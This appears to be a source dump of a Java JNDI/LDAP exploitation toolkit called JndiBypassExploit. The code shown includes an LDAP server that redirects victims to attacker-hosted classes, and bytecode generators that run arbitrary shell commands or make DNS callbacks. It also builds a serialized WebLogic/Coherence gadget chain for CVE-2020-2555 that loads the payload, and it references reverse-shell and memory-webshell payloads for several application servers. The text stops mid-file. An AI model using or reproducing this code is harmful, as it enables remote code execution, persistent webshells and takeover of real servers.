BehinderFilter.class.getName(); 62 | break; 63 | case jettymemshell: 64 | className = JettyMemshellTemplate.class.getName(); 65 | break; 66 | case jbossmemshell: 67 | className = JBossMemshellTemplate.class.getName(); 68 | break; 69 | case weblogicmemshell1: 70 | className = WeblogicMemshellTemplate1.class.getName(); 71 | break; 72 | case weblogicmemshell2: 73 | className = WeblogicMemshellTemplate2.class.getName(); 74 | break; 75 | case webspherememshell: 76 | className = WebsphereMemshellTemplate.class.getName(); 77 | break; 78 | case springmemshell: 79 | className = SpringMemshellTemplate.class.getName(); 80 | break; 81 | } 82 | 83 | URL turl = new URL(new URL(this.codebase), className + ".class"); 84 | System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl); 85 | e.addAttribute("javaClassName", "foo"); 86 | e.addAttribute("javaCodeBase", this.codebase); 87 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 88 | e.addAttribute("javaFactory", className); 89 | result.sendSearchEntry(e); 90 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 91 | } 92 | 93 | @Override 94 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 95 | try{ 96 | int fistIndex = base.indexOf("/"); 97 | int secondIndex = base.indexOf("/", fistIndex + 1); 98 | if(secondIndex < 0) secondIndex = base.length(); 99 | 100 | try{ 101 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); 102 | System.out.println("[+] Paylaod: " + type); 103 | }catch(IllegalArgumentException e){ 104 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex)); 105 | } 106 | 107 | switch(type){ 108 | case dnslog: 109 | String url = base.substring(base.lastIndexOf("/") + 1); 110 | System.out.println("[+] URL: " + url); 111 | params = new String[]{url}; 112 | break; 113 | case command: 114 | String cmd = Util.getCmdFromBase(base); 115 | System.out.println("[+] Command: " + cmd); 116 | params = new String[]{cmd}; 117 | break; 118 | case reverseshell: 119 | String[] results = Util.getIPAndPortFromBase(base); 120 | System.out.println("[+] IP: " + results[0]); 121 | System.out.println("[+] Port: " + results[1]); 122 | params = results; 123 | break; 124 | } 125 | }catch(Exception e){ 126 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 127 | 128 | throw new IncorrectParamsException("Incorrect params: " + base); 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/CommandTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class CommandTemplate implements Template{ 9 | private String className; 10 | private byte[] bytes; 11 | private String cmd; 12 | 13 | public CommandTemplate(String cmd){ 14 | this.cmd = cmd; 15 | this.className = "Exploit" + Util.getRandomString(); 16 | 17 | generate(); 18 | } 19 | 20 | public CommandTemplate(String cmd, String className){ 21 | this.cmd = cmd; 22 | this.className = className; 23 | 24 | generate(); 25 | } 26 | 27 | public void cache(){ 28 | Cache.set(className, bytes); 29 | } 30 | 31 | public String getClassName(){ 32 | return className; 33 | } 34 | 35 | public byte[] getBytes(){ 36 | return bytes; 37 | } 38 | 39 | public void generate(){ 40 | ClassWriter cw = new ClassWriter(0); 41 | FieldVisitor fv; 42 | MethodVisitor mv; 43 | AnnotationVisitor av0; 44 | 45 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 46 | 47 | { 48 | fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); 49 | fv.visitEnd(); 50 | } 51 | { 52 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 53 | mv.visitCode(); 54 | Label l0 = new Label(); 55 | Label l1 = new Label(); 56 | Label l2 = new Label(); 57 | mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); 58 | mv.visitVarInsn(ALOAD, 0); 59 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 60 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 61 | mv.visitLdcInsn("/"); 62 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 63 | Label l3 = new Label(); 64 | mv.visitJumpInsn(IFEQ, l3); 65 | mv.visitInsn(ICONST_3); 66 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 67 | mv.visitInsn(DUP); 68 | mv.visitInsn(ICONST_0); 69 | mv.visitLdcInsn("/bin/sh"); 70 | mv.visitInsn(AASTORE); 71 | mv.visitInsn(DUP); 72 | mv.visitInsn(ICONST_1); 73 | mv.visitLdcInsn("-c"); 74 | mv.visitInsn(AASTORE); 75 | mv.visitInsn(DUP); 76 | mv.visitInsn(ICONST_2); 77 | mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); 78 | mv.visitInsn(AASTORE); 79 | mv.visitVarInsn(ASTORE, 1); 80 | mv.visitJumpInsn(GOTO, l0); 81 | mv.visitLabel(l3); 82 | mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); 83 | mv.visitInsn(ICONST_3); 84 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 85 | mv.visitInsn(DUP); 86 | mv.visitInsn(ICONST_0); 87 | mv.visitLdcInsn("cmd"); 88 | mv.visitInsn(AASTORE); 89 | mv.visitInsn(DUP); 90 | mv.visitInsn(ICONST_1); 91 | mv.visitLdcInsn("/C"); 92 | mv.visitInsn(AASTORE); 93 | mv.visitInsn(DUP); 94 | mv.visitInsn(ICONST_2); 95 | mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); 96 | mv.visitInsn(AASTORE); 97 | mv.visitVarInsn(ASTORE, 1); 98 | mv.visitLabel(l0); 99 | mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"[Ljava/lang/String;"}, 0, null); 100 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 101 | mv.visitVarInsn(ALOAD, 1); 102 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); 103 | mv.visitInsn(POP); 104 | mv.visitLabel(l1); 105 | Label l4 = new Label(); 106 | mv.visitJumpInsn(GOTO, l4); 107 | mv.visitLabel(l2); 108 | mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); 109 | mv.visitVarInsn(ASTORE, 2); 110 | mv.visitVarInsn(ALOAD, 2); 111 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); 112 | mv.visitLabel(l4); 113 | mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); 114 | mv.visitInsn(RETURN); 115 | mv.visitMaxs(4, 3); 116 | mv.visitEnd(); 117 | } 118 | { 119 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 120 | mv.visitCode(); 121 | mv.visitInsn(RETURN); 122 | mv.visitMaxs(0, 3); 123 | mv.visitEnd(); 124 | } 125 | { 126 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 127 | mv.visitCode(); 128 | mv.visitInsn(RETURN); 129 | mv.visitMaxs(0, 4); 130 | mv.visitEnd(); 131 | } 132 | { 133 | mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); 134 | mv.visitCode(); 135 | mv.visitLdcInsn(cmd); 136 | mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); 137 | mv.visitInsn(RETURN); 138 | mv.visitMaxs(1, 0); 139 | mv.visitEnd(); 140 | } 141 | cw.visitEnd(); 142 | bytes = cw.toByteArray(); 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DnslogTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | 7 | import static org.objectweb.asm.Opcodes.*; 8 | 9 | public class DnslogTemplate implements Template { 10 | private String className; 11 | private byte[] bytes; 12 | private String dnslog; 13 | 14 | 15 | public DnslogTemplate(String dnslog){ 16 | this.dnslog = dnslog; 17 | this.className = "Exploit" + Util.getRandomString(); 18 | 19 | generate(); 20 | } 21 | 22 | public DnslogTemplate(String dnslog, String className){ 23 | this.dnslog = dnslog; 24 | this.className = className; 25 | 26 | generate(); 27 | } 28 | 29 | public void cache(){ 30 | Cache.set(className, bytes); 31 | } 32 | 33 | public String getClassName(){ 34 | return className; 35 | } 36 | 37 | public byte[] getBytes(){ 38 | return bytes; 39 | } 40 | 41 | public void generate(){ 42 | ClassWriter cw = new ClassWriter(0); 43 | FieldVisitor fv; 44 | MethodVisitor mv; 45 | AnnotationVisitor av0; 46 | 47 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 48 | 49 | { 50 | fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); 51 | fv.visitEnd(); 52 | } 53 | { 54 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 55 | mv.visitCode(); 56 | Label l0 = new Label(); 57 | Label l1 = new Label(); 58 | Label l2 = new Label(); 59 | mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); 60 | mv.visitVarInsn(ALOAD, 0); 61 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 62 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 63 | mv.visitLdcInsn("/"); 64 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 65 | Label l3 = new Label(); 66 | mv.visitJumpInsn(IFEQ, l3); 67 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 68 | mv.visitInsn(DUP); 69 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 70 | mv.visitLdcInsn("ping -c 1 "); 71 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 72 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 73 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 74 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 75 | mv.visitVarInsn(ASTORE, 1); 76 | mv.visitJumpInsn(GOTO, l0); 77 | mv.visitLabel(l3); 78 | mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); 79 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 80 | mv.visitInsn(DUP); 81 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 82 | mv.visitLdcInsn("nslookup "); 83 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 84 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 85 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 86 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 87 | mv.visitVarInsn(ASTORE, 1); 88 | mv.visitLabel(l0); 89 | mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null); 90 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 91 | mv.visitVarInsn(ALOAD, 1); 92 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); 93 | mv.visitInsn(POP); 94 | mv.visitLabel(l1); 95 | Label l4 = new Label(); 96 | mv.visitJumpInsn(GOTO, l4); 97 | mv.visitLabel(l2); 98 | mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); 99 | mv.visitVarInsn(ASTORE, 2); 100 | mv.visitVarInsn(ALOAD, 2); 101 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); 102 | mv.visitLabel(l4); 103 | mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); 104 | mv.visitInsn(RETURN); 105 | mv.visitMaxs(2, 3); 106 | mv.visitEnd(); 107 | } 108 | { 109 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 110 | mv.visitCode(); 111 | mv.visitInsn(RETURN); 112 | mv.visitMaxs(0, 3); 113 | mv.visitEnd(); 114 | } 115 | { 116 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 117 | mv.visitCode(); 118 | mv.visitInsn(RETURN); 119 | mv.visitMaxs(0, 4); 120 | mv.visitEnd(); 121 | } 122 | { 123 | mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); 124 | mv.visitCode(); 125 | mv.visitLdcInsn(dnslog); 126 | mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); 127 | mv.visitInsn(RETURN); 128 | mv.visitMaxs(1, 0); 129 | mv.visitEnd(); 130 | } 131 | cw.visitEnd(); 132 | bytes = cw.toByteArray(); 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst: -------------------------------------------------------------------------------- 1 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java 2 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate.java 3 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java 4 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/DnslogTemplate.java 5 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java 6 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate2.java 7 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java 8 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java 9 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java 10 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/URLDNS.java 11 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/Jre8u20.java 12 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/HTTPServer.java 13 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java 14 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/LDAPRefServer.java 15 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/isOK.java 16 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java 17 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/BasicController.java 18 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java 19 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/Starter.java 20 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java 21 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/utils/Util.java 22 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java 23 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 24 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/LdapMapping.java 25 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java 26 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2.java 27 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/utils/Config.java 28 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/Template.java 29 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java 30 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/LdapController.java 31 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/utils/Cache.java 32 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/SerializedDataController.java 33 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate2.java 34 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java 35 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/RMIRefServer.java 36 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/WeblogicEchoTemplate.java 37 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate1.java 38 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java 39 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java 40 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/enumtypes/PayloadType.java 41 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/BehinderFilter.java 42 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java 43 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java 44 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java 45 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java 46 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java 47 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/LdapServer.java 48 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/enumtypes/GadgetType.java 49 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate1.java 50 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java 51 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java 52 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/utils/Util.java 53 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/MyClassLoader.java 54 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java 55 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java 56 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/gadgets/C3P0.java 57 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java 58 | /Users/hypdncy/TaoFollowsNature/GitHub/JndiBypassExploit/src/main/java/com/feihong/ldap/template/CommandTemplate.java 59 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.ClassFiles; 5 | import com.feihong.ldap.template.*; 6 | import com.feihong.ldap.utils.Cache; 7 | import com.tangosol.util.extractor.ChainedExtractor; 8 | import com.tangosol.util.extractor.ReflectionExtractor; 9 | import com.tangosol.util.filter.LimitFilter; 10 | import org.apache.tomcat.util.buf.HexUtils; 11 | 12 | import javax.management.BadAttributeValueExpException; 13 | import javax.script.ScriptEngineManager;; 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.ObjectOutputStream; 16 | import java.lang.reflect.Field; 17 | 18 | public class CVE_2020_2555 { 19 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 20 | 21 | String className; 22 | switch (type){ 23 | case command: 24 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 25 | commandTemplate.cache(); 26 | className = commandTemplate.getClassName(); 27 | break; 28 | case dnslog: 29 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 30 | dnslogTemplate.cache(); 31 | className = dnslogTemplate.getClassName(); 32 | break; 33 | case reverseshell: 34 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 35 | reverseShellTemplate.cache(); 36 | className = reverseShellTemplate.getClassName(); 37 | break; 38 | case tomcatecho: 39 | className = TomcatEchoTemplate.class.getName(); 40 | break; 41 | case springecho: 42 | className = SpringEchoTemplate.class.getName(); 43 | break; 44 | case weblogicecho: 45 | className = WeblogicEchoTemplate.class.getName(); 46 | break; 47 | case tomcatmemshell1: 48 | className = TomcatMemshellTemplate1.class.getName(); 49 | break; 50 | case tomcatmemshell2: 51 | className = TomcatMemshellTemplate2.class.getName(); 52 | break; 53 | case jettymemshell: 54 | className = JettyMemshellTemplate.class.getName(); 55 | break; 56 | case jbossmemshell: 57 | className = JBossMemshellTemplate.class.getName(); 58 | break; 59 | case weblogicmemshell1: 60 | className = WeblogicMemshellTemplate1.class.getName(); 61 | break; 62 | case weblogicmemshell2: 63 | className = WeblogicMemshellTemplate2.class.getName(); 64 | break; 65 | case webspherememshell: 66 | className = WebsphereMemshellTemplate.class.getName(); 67 | break; 68 | case springmemshell: 69 | className = SpringMemshellTemplate.class.getName(); 70 | break; 71 | default: 72 | throw new IllegalStateException("Unexpected value: " + type); 73 | } 74 | 75 | 76 | byte[] bytes = Cache.get(className); 77 | if(bytes == null){ 78 | String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | bytes = Cache.get(shortName); 80 | } 81 | String classCode = HexUtils.toHexString(bytes); 82 | 83 | String code = "var hex = '" + classCode + "';\n" + 84 | "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | "var b = new java.io.ByteArrayOutputStream();\n" + 86 | "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | " var index = i * 2;\n" + 88 | " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | " b.write(v);\n" + 90 | "};\n" + 91 | "b.close(); \n" + 92 | "var bytes = b.toByteArray(); \n" + 93 | "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | "try{\n" + 95 | " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | " clazz.newInstance();\n" + 97 | "}catch(err){\n" + 98 | " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | " method.setAccessible(true);\n" + 100 | " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | " clazz.newInstance();\n" + 102 | "}"; 103 | 104 | ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | "getConstructor", 106 | new Object[]{new Class[0]} 107 | ); 108 | 109 | ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | "newInstance", 111 | new Object[]{new Object[0]} 112 | ); 113 | 114 | ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | "getEngineByName", 116 | new Object[]{"javascript"} 117 | ); 118 | 119 | ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | "eval", 121 | new Object[]{code} 122 | ); 123 | 124 | ReflectionExtractor[] extractors = { 125 | extractor1, 126 | extractor2, 127 | extractor3, 128 | extractor4 129 | }; 130 | 131 | ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); 132 | LimitFilter limitFilter = new LimitFilter(); 133 | 134 | //m_comparator 135 | Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); 136 | m_comparator.setAccessible(true); 137 | m_comparator.set(limitFilter, chainedExtractor); 138 | 139 | //m_oAnchorTop 140 | Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); 141 | m_oAnchorTop.setAccessible(true); 142 | m_oAnchorTop.set(limitFilter, ScriptEngineManager.class); 143 | 144 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 145 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 146 | field.setAccessible(true); 147 | field.set(badAttributeValueExpException, limitFilter); 148 | 149 | //序列化 150 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 151 | ObjectOutputStream oos = new ObjectOutputStream(baous); 152 | oos.writeObject(badAttributeValueExpException); 153 | bytes = baous.toByteArray(); 154 | oos.close(); 155 | 156 | return bytes; 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Reflections; 5 | import com.feihong.ldap.template.*; 6 | import com.feihong.ldap.utils.Cache; 7 | import com.tangosol.util.ValueExtractor; 8 | import com.tangosol.util.comparator.ExtractorComparator; 9 | import com.tangosol.util.extractor.ChainedExtractor; 10 | import com.tangosol.util.extractor.ReflectionExtractor; 11 | import org.apache.tomcat.util.buf.HexUtils; 12 | import javax.script.ScriptEngineManager; 13 | import java.io.ByteArrayOutputStream; 14 | import java.io.ObjectOutputStream; 15 | import java.lang.reflect.Field; 16 | import java.util.PriorityQueue; 17 | 18 | 19 | public class CVE_2020_2883 { 20 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 21 | 22 | String className; 23 | switch (type){ 24 | case command: 25 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 26 | commandTemplate.cache(); 27 | className = commandTemplate.getClassName(); 28 | break; 29 | case dnslog: 30 | DnslogTemplate dnslogTemplate = new 